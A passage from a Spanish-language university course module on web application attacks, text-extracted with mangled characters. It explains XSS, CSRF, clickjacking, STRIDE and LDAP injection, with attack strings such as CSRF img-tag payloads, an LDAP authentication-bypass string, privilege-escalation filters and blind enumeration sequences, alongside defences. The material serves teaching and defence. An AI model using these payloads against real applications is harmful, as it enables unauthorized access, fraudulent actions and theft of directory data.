ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
